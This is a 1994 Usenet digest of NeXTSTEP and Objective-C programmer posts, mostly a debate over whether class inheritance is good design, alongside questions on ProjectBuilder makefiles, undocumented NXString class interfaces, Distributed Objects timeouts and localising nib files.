thought them up?). The forwarding mechanism needs to be fixed for non-id return values though. The only advantage to inheritance I can see is efficiency in accessing instance variables. Why is inheritance promoted as a Good Thing? It's a problem, not a solution. Some of the problems with the Text class derive from it's inheritance from View and Responder. Anyone agree, disagree? Anyone like to explain the necessity of MenuCell and NXBrowserCell being different classes for example? Dave Griffiths
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.lang.objective-c,comp.sys.next.programmer,comp.object Subject: Re: Is inheritance a good idea? Date: 12 Feb 1994 14:10:44 -0000 Organization: me organized? That's a joke! Message-ID: <2jio14$3j6@steffi.demon.co.uk> References: <1994Feb12.132341.12317@prim.demon.co.uk> dave@prim.demon.co.uk (Dave Griffiths) wrote in comp.lang.objective-c,comp.sys.next.programmer >It seems to me that creating a heirarchy of inheritance may not be such a >good idea. In fact it may do more harm than good. Inheritance encourages >sloppy programming. It's much harder to produce a general solution than a >particular one. Inheritance encourages a quick-fix mentality, rather than >improving the super class to make it more flexible. Ever heard of maintenance? OOP isn't a panancea discipline is still necessary in order to produce maintainable software. Define "Reuse" for me. Or locality of reference. > >If you have n subclasses, each of which adds some functionality to the >super class, it restricts the user to choose only one of those additional >bits of functionality. The other n-1 bits have to be discarded. If that >fucntionality had been placed in the super class or in separate classes, then >perhaps more interesting combinations could be realized. It depends on your tree. Commonality is expressed thru abstraction. In the case where you have a number of subclasses of a single class it's likely that the others aren't appropriate anyway. Assuming lack of support for multiple inheritance right? You can achieive mutiple inheritance with added indirection thru other methods in a single inheritance model. > >Almost everything that is done by inheritance could be done instead using >protocols and delegates. (Protocols are a brilliant addition to Obj-C. Who >at NeXT thought them up?). The forwarding mechanism needs to be fixed for >non-id return values though. > >The only advantage to inheritance I can see is efficiency in accessing instance >variables. What about implicit type similaries? ie. @comformsTo isn't apart of the typing system. Polymorphism? Read Alan Synder's OOPSLA 86, Inheritance / Encapsulation paper some time. No doubt Michael@afs will speak up here. > >Why is inheritance promoted as a Good Thing? It's a problem, not a solution. >Some of the problems with the Text class derive from it's inheritance from >View and Responder. Inheritance per se isn't a bad thing what's bad is incorrect use of inheritance. The Text object is too large. No design has gone into it. > >Anyone agree, disagree? Anyone like to explain the necessity of MenuCell >and NXBrowserCell being different classes for example? Visual appearance, command key equivalents, update actions, state ie. enabled disabled (hence, their similarity to buttons and ancestory of buttoncell's) Really it's better not to assume anything though isn't it? Would you care to explain why MenuCell and NXBrowserCell would be the same class? > >Dave Griffiths This looks like an interesting discussion, please develop your protocol and delegate theory further. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: marcel@cs.tu-berlin.de (Marcel Weiher) Newsgroups: comp.lang.objective-c,comp.sys.next.programmer Subject: Re: Is inheritance a good idea? Date: 12 Feb 1994 17:43:21 GMT Organization: Technical University of Berlin, Germany Message-ID: <2jj4fp$178@news.cs.tu-berlin.de> References: <1994Feb12.132341.12317@prim.demon.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit dave@prim.demon.co.uk (Dave Griffiths) writes: >It seems to me that creating a heirarchy of inheritance may not be such a >good idea. In fact it may do more harm than good. Inheritance encourages >sloppy programming. It's much harder to produce a general solution than a >particular one. Inheritance encourages a quick-fix mentality, rather than >improving the super class to make it more flexible. >If you have n subclasses, each of which adds some functionality to the >super class, it restricts the user to choose only one of those additional >bits of functionality. The other n-1 bits have to be discarded. If that >fucntionality had been placed in the super class or in separate classes, then >perhaps more interesting combinations could be realized. I agree that you shouldn't create subclasses to add features to a class that could be useful for all uses of that class. Use categories for that. On the other hand, use inheritance if you want to create a _specialization_ of the class at hand. Also, I actually find the inheritance tree very useful to making generic changes: the change is tried in some way-down subclass, after that tests out it can be moved to the most generic superclass that would benefit. >Almost everything that is done by inheritance could be done instead using >protocols and delegates. (Protocols are a brilliant addition to Obj-C. Who >at NeXT thought them up?). The forwarding mechanism needs to be fixed for >non-id return values though. Could you elaborate on that? The two options I see with forwarding (using performv: or forwarding messages individually) both have serious drawbacks. >The only advantage to inheritance I can see is efficiency in accessing instance >variables. >Why is inheritance promoted as a Good Thing? It's a problem, not a solution. >Some of the problems with the Text class derive from it's inheritance from >View and Responder. For me, the most important feature of a good inheritance tree is that it reflects relationships between objects, and allows the programmer to put things at the proper level of abstraction. Not that finding the proper place is necessarily an easy task. In fact, I think coming up with a good class hierarchy is _extremely_ difficult. This is not helped by the ad-hoc creation of classes within IB. Marcel
From: dirk@bocxog.fb10.TU-Berlin.DE Newsgroups: comp.sys.next.programmer Subject: How to write screen drivers for MOTOROLA hardware? Date: 12 Feb 1994 18:32:33 GMT Organization: Technische Universitaet Berlin Message-ID: <2jj7c1$jrh@brachio.zrz.TU-Berlin.DE> Originator: dirk@bocxog Hello, Nextstep seems capable to support multiple screens. Does anybody know how to write screen drivers for MOTOROLA hardware? Dirk Schwarzhans
From: ralf@reswi.en.open.de (Ralf E. Stranzenbach) Newsgroups: comp.sys.next.programmer Subject: Re: Distributed Objects & SLIP Date: 12 Feb 1994 18:20:47 GMT Organization: News Server fuer en.open.de Message-ID: <RALF.94Feb12192047@jodokus.en.open.de> References: <RALF.94Feb11171827@jodokus.en.open.de> <2jgonn$hs2@zip.eecs.umich.edu> <-$&@byu.edu> <2ji4ad$lq5@news.cs.tu-berlin.de> In-reply-to: marcel@cs.tu-berlin.de's message of 12 Feb 1994 08:34:21 GMT >>>>> "Marcel" == Marcel Weiher <marcel@cs.tu-berlin.de> writes: In article <2ji4ad$lq5@news.cs.tu-berlin.de> marcel@cs.tu-berlin.de (Marcel Weiher) writes: Hi, Marcel> Hmm... have you looked at the timeouts? The default Marcel> timeouts are around 15 seconds, which might not be enough Marcel> for WANs. (It's almost certainly not enough to Marcel> dynamically bring up a SLIP line). Marcel> You can change the timeouts using various NXConnection Marcel> methods. at last for me it's NOT a problem of time-outs. My line is a leased line, but i've brought it up before testing my server as i ftp'd it to the distant machine. I've also changed the time-out value. - ralf -- Ralf E.Stranzenbach - (NeXT)-Mail: ralf@reswi.en.open.de Fido: Ralf_Stranzenbach 2:245/5800.12 (Voice)-Phone: +49 2302 / 68403 -- ... genus hominum compositum est ex corpore et anigma ... - sallust, bellum iugurthinium
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: PB Library Hack difficulties. Date: 12 Feb 1994 21:04:01 -0000 Organization: me organized? That's a joke! Message-ID: <2jjg81$jn@steffi.demon.co.uk> Guys, has the PB hack been certified for 3.1? For some reason PB will not find Library/Makefile.preamble. It always copies the one from /NextDeveloper/Makefiles/app this is a real pain because I cannot point it to the library target without changing the NeXT makefiles and I don't want to do that. I don't know why it would do this, but it is. I've followed Mike's instructions to the letter for MOKit and also tried the 3.2 version (san Tool stuff) that Michael posted. project.templates/Library: total 7 drwxr-xr-x 2 robert 1024 Feb 12 20:44 . drwxr-xr-x 7 robert 1024 Feb 12 20:38 .. -r--r--r-- 1 robert 3633 Feb 12 20:44 Makefile.preamble -rw-r--r-- 1 robert 196 Feb 12 20:39 PB.project It aint finding it. Surely this doesn't work in NS3.1 but works in 3.0 and 3.2? Note: my Library (ie. project NOT PB's) projects PB.project looks like this. FILESTABLE = { OTHER_SOURCES = (Makefile.preamble, Makefile, Makefile.postamble); }; DOCEXTENSIONS = (); LANGUAGE = English; PROJECTVERSION = 1.1; INSTALLDIR = "$(HOME)/Developer/Libraries"; PROJECTTYPE = Library; PROJECTNAME = rob; So it finds the correct PB.project but doesn't find the Makefile.preamble. Wierd. Seeing the above permissions I changed them to look like. drwxr-xr-x 2 robert 1024 Feb 12 20:44 . drwxr-xr-x 7 robert 1024 Feb 12 20:38 .. -rw-r--r-- 1 robert 3633 Feb 12 20:44 Makefile.preamble -rw-r--r-- 1 robert 196 Feb 12 20:39 PB.project Still joy. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: jjfeiler@relief.com (John Jay Feiler) Subject: String Class Protocol (long) Message-ID: <CL3wrv.HuJ@relief.com> Sender: jjfeiler@relief.com (John Jay Feiler) Organization: Relief Consulting & Development Date: Sat, 12 Feb 1994 10:21:30 GMT Recently, there was an open request from OPN for submissions for a String Class Protocol, to hopefully insure that String classes from different vendors would be interchangable. As you may or may not know, NeXT has publicly stated that most, if not all, references to (char *) within the AppKit will be going away in NS 4.0, in order to accomodate languages with monster character sets, like Japanese. This is ultimately tied up in the re-write of the crufty Text class. What NeXT has yet to announce or finalize, is that NeXT already has, for internal use only, a set of String classes. They have even implemented a nifty extension to the compiler, whereby you can instantiate an NXString object like this: id string = @"hi there"; My major concern here is that whatever protocol is settled on by OPN, that it must be able to be used by the NS4.0 Text object. Or, that the finalized NeXT NXString Hierarchy work correctly with the 3rd party String objects. DISCLAIMER: I don not in any way advocate using the following information in commercial products, because it is undocumented NeXT internal stuff, and could go away/change at any time!!!!!!!!!!!!!! Tha being said, the following information was created programatically by walking the appropriate objc_class structures, and is posted here for your enjoyment............. Note that these objects already exist. I think the best course of action would be for NeXT to speak up officially, and post/make available their finalized header files, so we can start using these NXString objects in the near future. ------------------------------------------ @interface NXString:Object { } + initialize; - (void)writeToStream:(struct _NXStream *)arg0 context:(struct _NXPropertyListWriteContext *)arg1; - initFromStream:(struct _NXStream *)arg0 context:(struct _NXPropertyListReadContext *)arg1; - (void)writeBytesToStream:(struct _NXStream *)arg0; - (char *)createCharacterBuffer:(unsigned int)arg0; - (unsigned int)findCharacter:(unsigned char)arg0 range:(struct _NXRange)arg1 mask:(unsigned int)arg2 usingTable:(void *)arg3; - (unsigned int)findCharacter:(unsigned char)arg0 mask:(unsigned int)arg1; - (unsigned int)findCharacter:(unsigned char)arg0 range:(struct _NXRange)arg1; - (unsigned int)findOneOf:arg0 range:(struct _NXRange)arg1 mask:(unsigned int)arg2 usingTable:(void *)arg3; - (unsigned int)findOneOf:arg0 mask:(unsigned int)arg1; - (unsigned int)findOneOf:arg0 range:(struct _NXRange)arg1; - (struct _NXRange)find:arg0 range:(struct _NXRange)arg1 mask:(unsigned int)arg2 usingTable:(void *)arg3; - (struct _NXRange)find:arg0 mask:(unsigned int)arg1; - (struct _NXRange)find:arg0 range:(struct _NXRange)arg1; - (struct _NXRange)find:arg0; - (int)compare:arg0 mask:(unsigned int)arg1 usingTable:(void *)arg2; - (int)compare:arg0 mask:(unsigned int)arg1; - (void)getCString:(char *)arg0 length:(unsigned int)arg1 range:(struct _NXRange)arg2; - (void)getCString:(char *)arg0 length:(unsigned int)arg1; - (void)getCString:(char *)arg0 range:(struct _NXRange)arg1; - initFromByteStream:(struct _NXStream *)arg0 uptoLength:(unsigned int)arg1 orUntilOneOf:arg2; - initFromStream:(struct _NXStream *)arg0 uptoLength:(unsigned int)arg1 orUntilOneOf:arg2; - (void)_print; - (void)printForDebugger:(struct _NXStream *)arg0; - (void)writeCStringToStream:(struct _NXStream *)arg0; - (void)writeToStream:(struct _NXStream *)arg0; - mutableCopyFromZone:(struct _NXZone *)arg0; - mutableCopy; - immutableCopyFromZone:(struct _NXZone *)arg0; - immutableCopy; - copySubstring:(struct _NXRange)arg0 fromZone:(struct _NXZone *)arg1; - copySubstring:(struct _NXRange)arg0; - (unsigned int)hash; - (unsigned int)findOneOf:arg0 range:(struct _NXRange)arg1 mask:(unsigned int)arg2 table:(void *)arg3; - (unsigned int)findOneOf:arg0; - (unsigned int)findCharacter:(unsigned char)arg0 range:(struct _NXRange)arg1 mask:(unsigned int)arg2 table:(void *)arg3; - (unsigned int)findCharacter:(unsigned char)arg0; - (struct _NXRange)findString:arg0 range:(struct _NXRange)arg1 mask:(unsigned int)arg2 table:(void *)arg3; - (struct _NXRange)findString:arg0; - (int)compare:arg0 mask:(unsigned int)arg1 table:(void *)arg2; - (int)compare:arg0; - (char)isEqual:arg0; - (void)getCharacters:(char *)arg0; - (void)getCharacters:(char *)arg0 range:(struct _NXRange)arg1; - (unsigned char)characterAt:(unsigned int)arg0; - (char *)uniqueCStringCopy; - (char *)cStringCopy; - (unsigned int)cStringLength; - (unsigned int)length; - (void)getCString:(char *)arg0 maxLength:(unsigned int)arg1 range:(struct _NXRange)arg2 remainingRange:(struct _NXRange *)arg3; - (void)getCString:(char *)arg0 maxLength:(unsigned int)arg1; - (void)getCString:(char *)arg0; - initFromCString:(char *)arg0 length:(unsigned int)arg1; - initFromCString:(char *)arg0; - initFromFormat:arg0 withArgList:(char *)arg1; - initFromFormat:arg0; - initFromCStringStream:(struct _NXStream *)arg0 untilOneOf:arg1 maxLength:(unsigned int)arg2; - initFromStream:(struct _NXStream *)arg0 untilOneOf:arg1 maxLength:(unsigned int)arg2; - initFromString:arg0 range:(struct _NXRange)arg1; - initFromString:arg0; - initFromCharacters:(char *)arg0 length:(unsigned int)arg1; - init; - initFromCharactersNoCopy:(char *)arg0 length:(unsigned int)arg1; - (char *)allocateCharacterBuffer:(unsigned int)arg0; @end ------------------------------------------ ------------------------------------------ @interface NXSimpleReadOnlyString:NXString { char *characters; unsigned int _length; } - read:(void *)arg0; - write:(void *)arg0; - free; - copyFromZone:(struct _NXZone *)arg0; - (unsigned int)hash; - copySubstring:(struct _NXRange)arg0 fromZone:(struct _NXZone *)arg1; - (unsigned int)findOneOf:arg0 range:(struct _NXRange)arg1 mask:(unsigned int)arg2 table:(void *)arg3; - (unsigned int)findCharacter:(unsigned char)arg0 range:(struct _NXRange)arg1 mask:(unsigned int)arg2 table:(void *)arg3; - (struct _NXRange)findString:arg0 range:(struct _NXRange)arg1 mask:(unsigned int)arg2 table:(void *)arg3; - (int)compare:arg0 mask:(unsigned int)arg1 table:(void *)arg2; - (void)getCString:(char *)arg0 maxLength:(unsigned int)arg1 range:(struct _NXRange)arg2 remainingRange:(struct _NXRange *)arg3; - (void)getCharacters:(char *)arg0 range:(struct _NXRange)arg1; - (unsigned int)length; - (unsigned char)characterAt:(unsigned int)arg0; - initFromCharactersNoCopy:(char *)arg0 length:(unsigned int)arg1; @end ------------------------------------------ ------------------------------------------ @interface NXConstantString:NXSimpleReadOnlyString { } - finishUnarchiving; - _reallyFree; - free; - copyFromZone:(struct _NXZone *)arg0; - initFromCharactersNoCopy:(char *)arg0 length:(unsigned int)arg1; @end ------------------------------------------ ------------------------------------------ @interface NXReadOnlyString:NXSimpleReadOnlyString { struct __realStringFlags _flags; } + allocFromZone:(struct _NXZone *)arg0; + alloc; - initFromStream:(struct _NXStream *)arg0 context:(struct _NXPropertyListReadContext *)arg1; - read:(void *)arg0; - write:(void *)arg0; - finishUnarchiving; - free; - mutableCopyFromZone:(struct _NXZone *)arg0; - copySubstring:(struct _NXRange)arg0 fromZone:(struct _NXZone *)arg1; - copyFromZone:(struct _NXZone *)arg0; - (char *)allocateCharacterBuffer:(unsigned int)arg0; - initFromCharactersNoCopy:(char *)arg0 length:(unsigned int)arg1 freeWhenDone:(char)arg2; - initFromCharactersNoCopy:(char *)arg0 length:(unsigned int)arg1; @end ------------------------------------------ ------------------------------------------ @interface NXReadOnlySubstring:NXReadOnlyString { id _referenceString; } - free; @end ------------------------------------------ ------------------------------------------ @interface NXUniquedString:NXSimpleReadOnlyString { } + alloc; + allocFromZone:(struct _NXZone *)arg0; + newFromCharacters:(char *)arg0 length:(unsigned int)arg1; + newFromString:arg0; + initialize; - finishUnarchiving; - (char)isEqual:arg0; - copyFromZone:(struct _NXZone *)arg0; - free; - initFromCharactersNoCopy:(char *)arg0 length:(unsigned int)arg1; @end ------------------------------------------ ------------------------------------------ @interface NXMutableString:NXString { } - (void)appendCharacters:(char *)arg0 length:(unsigned int)arg1; - (void)deleteRange:(struct _NXRange)arg0; - (void)append:arg0; - (void)insert:arg0 at:(unsigned int)arg1; - (void)replaceWith:arg0; - (void)replaceRange:(struct _NXRange)arg0 with:arg1; - immutableCopyFromZone:(struct _NXZone *)arg0; - mutableCopyFromZone:(struct _NXZone *)arg0; - (void)deleteCharactersInRange:(struct _NXRange)arg0; - (void)appendString:arg0; - (void)insertString:arg0 at:(unsigned int)arg1; - (void)replaceCharactersInRange:(struct _NXRange)arg0 withString:arg1; @end ------------------------------------------ ------------------------------------------ @interface NXReadWriteString:NXMutableString { id actualString; } - finishUnarchiving; - read:(void *)arg0; - write:(void *)arg0; - free; - immutableCopyFromZone:(struct _NXZone *)arg0; - copyFromZone:(struct _NXZone *)arg0; - (void)replaceCharactersInRange:(struct _NXRange)arg0 withString:arg1; - (unsigned int)hash; - (unsigned int)findOneOf:arg0 range:(struct _NXRange)arg1 mask:(unsigned int)arg2 table:(void *)arg3; - (unsigned int)findCharacter:(unsigned char)arg0 range:(struct _NXRange)arg1 mask:(unsigned int)arg2 table:(void *)arg3; - (struct _NXRange)findString:arg0 range:(struct _NXRange)arg1 mask:(unsigned int)arg2 table:(void *)arg3; - (int)compare:arg0 mask:(unsigned int)arg1 table:(void *)arg2; - (void)getCString:(char *)arg0 maxLength:(unsigned int)arg1 range:(struct _NXRange)arg2 remainingRange:(struct _NXRange *)arg3; - (void)getCharacters:(char *)arg0 range:(struct _NXRange)arg1; - (char *)allocateCharacterBuffer:(unsigned int)arg0; - (unsigned char)characterAt:(unsigned int)arg0; - (unsigned int)length; - initFromCharactersNoCopy:(char *)arg0 length:(unsigned int)arg1 freeWhenDone:(char)arg2; - initFromCharactersNoCopy:(char *)arg0 length:(unsigned int)arg1; @end ------------------------------------------ -- John Feiler jjfeiler@relief.com Relief Consulting & Development (206) 743-3953 4926 152nd St. SW NeXTmail Welcome!!! Edmonds, WA 98026-4433 Independent NeXTSTEP Developer --
From: jeske@ux4.cso.uiuc.edu (David Jeske) Newsgroups: comp.lang.objective-c,comp.sys.next.programmer Subject: Re: Is inheritance a good idea? Date: 13 Feb 1994 01:20:12 GMT Organization: University of Illinois at Urbana Message-ID: <2jjv8c$i9b@vixen.cso.uiuc.edu> References: <1994Feb12.132341.12317@prim.demon.co.uk> dave@prim.demon.co.uk (Dave Griffiths) writes: >It seems to me that creating a heirarchy of inheritance may not be such a >good idea. In fact it may do more harm than good. Inheritance encourages >sloppy programming. It's much harder to produce a general solution than a >particular one. Inheritance encourages a quick-fix mentality, rather than >improving the super class to make it more flexible. It sounds like the extreme case of your "better" use of classes would propose to provide ALL resources from ONE class. Obviously this is an extreme case, but I find that heirarchy's of inheritance are the post powerfull thing about OOP technology, especially NeXT. One question: are you proposing that "OOP Kits" would provide "Flat" sets of objects for use? Or that subclassing in general to change behavior or increase flexibility is bad? >If you have n subclasses, each of which adds some functionality to the >super class, it restricts the user to choose only one of those additional >bits of functionality. The other n-1 bits have to be discarded. If that >fucntionality had been placed in the super class or in separate classes, then >perhaps more interesting combinations could be realized. This is not the fault of a heirarchal structure, but rather a fault of this SPECIFIC heirarchal structure. If I came across such a case, I would urge the person in charge to rethink his design. Subclasses in a Kit heirarchy are not (in my opinion) for the purpose of "expanding" by way of providing "added flexibility or features" to the superclass... Subclasses are to build distinctly different tools. Taking NeXT as an example. There is no reason that "Window" and "Button" should ever be in the same class, even though they are both descended from "View". How do you see this differently? >Almost everything that is done by inheritance could be done instead using >protocols and delegates. (Protocols are a brilliant addition to Obj-C. Who >at NeXT thought them up?). The forwarding mechanism needs to be fixed for >non-id return values though. I disagree, I see protocols are serving a totally different need. Protocols provide a easily defined way to incorporate a "object->object" communication standard into a existing object. I fail to see how merging all "View"s in the NeXT heirarchy into one large class would HELP?? Part of OOP is for code maintainability, how maintainable would one large object filled with smaller tasks be?? Not to mention, you would need ways to separate the different pieces of code logically.. If I were doing it, I woiuld want to put them in different classes, meaning I would have classes in my view class. Which brings me right back to the original solution, subclasses. I really see subclasses as being not only one of the best parts of OOP, but I see the best use of OOP in general is using well implemented "kit" heirarchies. >The only advantage to inheritance I can see is efficiency in accessing instance >variables. How about orginization? How about maintainability? Ease of use? I can't help but picture "one" large object being the epitome of what your suggestion, and I fail to see how that would help. Obviously, in your solution, you would have several objects, none of them decendents of one another. What about all the commonalities? You would never benefit from any code reuse... I fail to see what potential gains a system like that could have, and I see TONS of losses. I suppose it could be implemented, after all, "Kits" in C are merely made up of lots of functions, but then why would you want to throw out all of the incredible things that OOP (and Objective-C) provides for you to use? I'll take a heirarchial set of objects please :) That way if I want to make my own kind of "Window" I can subclass "View" and I only have to write the "Special Window" code, instead of having to write a new "window" object from scratch. >Why is inheritance promoted as a Good Thing? It's a problem, not a solution. >Some of the problems with the Text class derive from it's inheritance from >View and Responder. >Anyone agree, disagree? Anyone like to explain the necessity of MenuCell >and NXBrowserCell being different classes for example? I think maybe some of the "problems" you speak of could be better solved if Objective-C provided multiple inheritance. Then a class could be arranged in the subclass tree in multiple places which would best describe it's functionality. ? Maybe not. I see what your saying about MenuCell and NXBrowserCell, but then again, a prowser Cell does do different things :) and it has different responsibilities to it's peers. I think if one wanted to implement the NeXT APpkit with MenuCell and NXBrowserCell as some single "GenericMenuCell" it could be done, I just don't think their goals and your opinions are the same :) I also think any problems with the Text Class (I'm not sure what problems you see with the Text class, to me it's the Text Class, if there is something you want to do, and it can't be done with the Text class, that's not something wrong with the Text class. It just means the Text Class is not right for what you want to do ) Anyone, I think any problems with the Text Class that your having could be solved easily by subclassing View to make a Text Class that does what you want, if View has some problems that you don't want, then go higher-up and subclass. Imagine if NeXT were to do what you want, and make a "flat" heirarchy. I think that their Text Class would be the same, and you would have the same problems with it. Because what you want and what they designed the Text class for are two different things. And if their heirarchy was flat then you would have to write your own Object from SCRATCH! Sorry, I'll subclass the View and be 1/2 through the work already :) -- David Jeske(N9LCA)/CompEng Student at Univ of Ill at Cham-Urbana/NeXT Programmer CoCreator of the GTalk Chat Software System - online at (708)998-0008 Mail: jeske@ux4.cso.uiuc.edu NeXTMail: jeske@sumter.cso.uiuc.edu
Newsgroups: comp.sys.next.programmer From: glen@instep.wimsey.bc.ca Subject: Re: Operation not supported on a socket Message-ID: <1994Feb11.172547.4540@instep.wimsey.bc.ca> Sender: glen@instep.wimsey.bc.ca Organization: InStep Mobile Communications Inc. References: <1994Feb10.215742.2070@parsec.mixcom.com> Distribution: usa Date: Fri, 11 Feb 1994 17:25:47 GMT In article <1994Feb10.215742.2070@parsec.mixcom.com> scott@parsec.mixcom.com (Scott Violet) writes: > Hi all, > We seem to repeatedly get the error, 'operation not supported on > a socket', when compiling using PB. Performing a make clean, and then > rebuilding rectifies the problem, but for large apps this can take > quite some time. I'm wondering if anyone else out there has > experienced this problem and knows how to fix it. > Thanks, > -Scott Violet (scott@SmartSoft.com) We get this error when there is not enough space in /tmp for temporary files created during the final link phase. A tremendous amount of disk space is needed, particularly for multi-architecture builds. -- Glen Biagioni Software Developer glen@instep.wimsey.bc.ca (small NeXTmail accepted) 604 872-7116 604 872-7125 fax
Newsgroups: comp.lang.objective-c,comp.sys.next.programmer From: bediger@teal.csn.org (Bruce Ediger) Subject: Re: Is inheritance a good idea? Message-ID: <CL58Gu.2sC@csn.org> Sender: news@csn.org (The Daily Planet) Organization: Salmon of Knowledge References: <1994Feb12.132341.12317@prim.demon.co.uk> Date: Sun, 13 Feb 1994 03:31:42 GMT dave@prim.demon.co.uk (Dave Griffiths) wrote: >It seems to me that creating a heirarchy of inheritance may not be such a >good idea. In fact it may do more harm than good. Inheritance encourages >sloppy programming. It's much harder to produce a general solution than a >particular one. Inheritance encourages a quick-fix mentality, rather than >improving the super class to make it more flexible. On the whole, I agree with Dave Griffiths. For the most part, subclassing is part of the problem, not part of the solution. One level of subclassing is all that is useful, basically. Any more than that, and the complexity gets too much to handle. I think it should be left in Objective C, but it should be part of accepted "lore" that elaborate inheritance is a Bad Thing, not unlike the "goto". I predict that in 5 years or so, multiple inheritance, operator overloading and deep levels of subclassing will all attain a status similar to that of the "goto": something that can be done, but mostly shouldn't be. Sincerely, Bruce Ediger
From: rgc@cs.umd.edu (Ross Garrett Cutler) Newsgroups: comp.sys.next.programmer Subject: Does Edit support [[NXApp appSpeaker] msgFile::]? Date: 13 Feb 1994 01:40:47 -0500 Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742 Distribution: world Message-ID: <2jki1f$l33@dorito.cs.umd.edu> I'm using NS/I 3.2, and when I try to invoke [[NXApp appSpeaker] msgFile::], I get NX_INCORRECTMESSAGE returned. Does Edit support this Listener method? Is there a list of Listener methods that it does support? Also, is there a better way to find out what Edit's current file is? I thought Distributed Objects were supposed to phase out Speaker/Listener, but I see no API for Edit that gives me the features that Speaker/Listener does. Thanks, Ross. -- Ross Cutler University of Maryland, College Park Internet: rgc@cs.umd.edu
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.lang.objective-c,comp.sys.next.programmer Subject: Re: Is inheritance a good idea? Date: 13 Feb 1994 10:15:33 -0000 Organization: me organized? That's a joke! Message-ID: <2jkuk5$1k3@steffi.demon.co.uk> References: <1994Feb12.132341.12317@prim.demon.co.uk> <CL58Gu.2sC@csn.org> bediger@teal.csn.org (Bruce Ediger) wrote in comp.lang.objective-c,comp.sys.next.programmer >I predict that in 5 years or so, multiple inheritance, operator overloading >and deep levels of subclassing will all attain a status similar to that >of the "goto": something that can be done, but mostly shouldn't be. > >Sincerely, >Bruce Ediger This will only be the case if people continue to use inheritance (very common with multiple inheritance) to reflect "has-a" relationships instead of using it strictly for "is-a" only. That's when inheritance is bad and becomes unmanageable. Operating overloading would be nice but it's only syntactic sugar. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: dario@voluptas (Dario Ringach) Newsgroups: comp.sys.next.programmer Subject: Passing an array of strings to a ps wrap... Is it possible? Date: 12 Feb 1994 22:21:18 GMT Organization: New York University Distribution: world Message-ID: <2jjkou$s4k@cmcl2.NYU.EDU> Can you pass an array of strings to a ps wrap? If so, how? Thank you in advance. -- Dario
Newsgroups: comp.sys.next.programmer From: Greg_Anderson@afs.com (Gregory H. Anderson) Subject: Re: Multiple Languages Message-ID: <1994Feb13.014648.2596@afs.com> Sender: greg@afs.com References: <CKznIz.1JA@nextsrv1.andi.org> Date: Sun, 13 Feb 1994 01:46:48 GMT In article <CKznIz.1JA@nextsrv1.andi.org> paccorti@nextsrv1.andi.org (Peter Accorti) writes: > I'm attempting to program an app that can easily be operated for > multiple languages (english, german, french, etc.). It seems that the > conventional wisdom is to have multiple copies of nib files with the > language dependent parts changed. Presumably the menu, title bars etc. > would be different but all the other parts of the nib would be just > copied. If this is the case doesn't this cause the app bundle to be > very large just for language independence? From a coding standpoint it > also seems to be a pain to make sure that everything is in sync > (non-text feature wise). Why not have the language dependent text in > NXStringTable loadable files? Just load the file you want (english, > german, etc) during app startup. This way there is no duplication of > non-text nib features. Am I missing something here? No, you're not missing anything; multiple languages can be a pain. As you suggest, it might be possible for the nib files in other languages to be links back to English.lproj, with a private NXStringTable in each lproj to supply the labels. But there are several problems with that strategy: 1) You need a connection to all the labels on your windows, which means a certain amount of hard-coding, and hard assumptions, about the UI objects. For example, TextFields typically have other TextFields as their labels, whereas checkboxes have embedded labels. Radio buttons are Matrixes. And don't even get me started about popup lists. 8^) In general, it's a bad idea to write code that assumes the UI objects will be a specific class. You could write a general routine that takes a string and an object, then does the right thing given its class, but that won't work easily for composite objects like radio buttons and popup lists. 2) Label lengths vary by language. Some get longer, some get shorter. That means in the central nib file, you would have to allow enough room for the longest possible string in any supported language. In my experience, that ends up looking ugly in all languages. When you tune specific nib files, often you can rearrange fields and buttons slightly to make things fit nice and tight. 3) Menu cells are a real pain unless you give them all tags, which quickly becomes a maintenance burden to keep track of. Another problem is that PB doesn't support multiple languages very well. A given PB project can have only one primary language, so you have to put all of the nib files for other languages into the "Other Resources". My advice, based on experience (WriteUp will ship with support for at least five languages): bite the bullet and make separate nib files for each language. In general, it's less maintenance than the overhead you end up adding to your source code to support your alternate approach. -- Gregory H. Anderson | "History is the fiction we invent to Revisionist Autobiographer | persuade ourselves that events are Anderson Financial Systems | knowable and that life has order and greg@afs.com (NeXTmail OK) | direction." -- Calvin & Hobbes, 7/19/93
Newsgroups: comp.sys.next.programmer From: al@rbc.uucp (Al Davis) Subject: Re: Is Objective - C a dead language ? Message-ID: <1994Feb12.164725.24229@rbc.uucp> Organization: Huh? References: <1994Feb9.235943.1578@gamelan.uucp> <CL2tLM.qJ@friday.com> Date: Sat, 12 Feb 1994 16:47:25 GMT In article <CL2tLM.qJ@friday.com> bbum@friday.com writes: >There is no need to use strcpy(), etc. I have been using Objective >Technologies StringKit for quite some time and have eliminated almost all >memory problems associated with string manipulation. > >id string = [OTString otisRetrieve]; // get a temporary instance >[string sprintf:"Hello world\n"]; >fprintf(stdout, "String was: %s", [string stringValue]; >[string otisRelease]; What a mess!! In C++, you overload strcpy(), so the syntax remains the same as it was for old C. You get all the benefits and the code reads the same as it always has. Objective-C has some advantages. This isn't one of them.
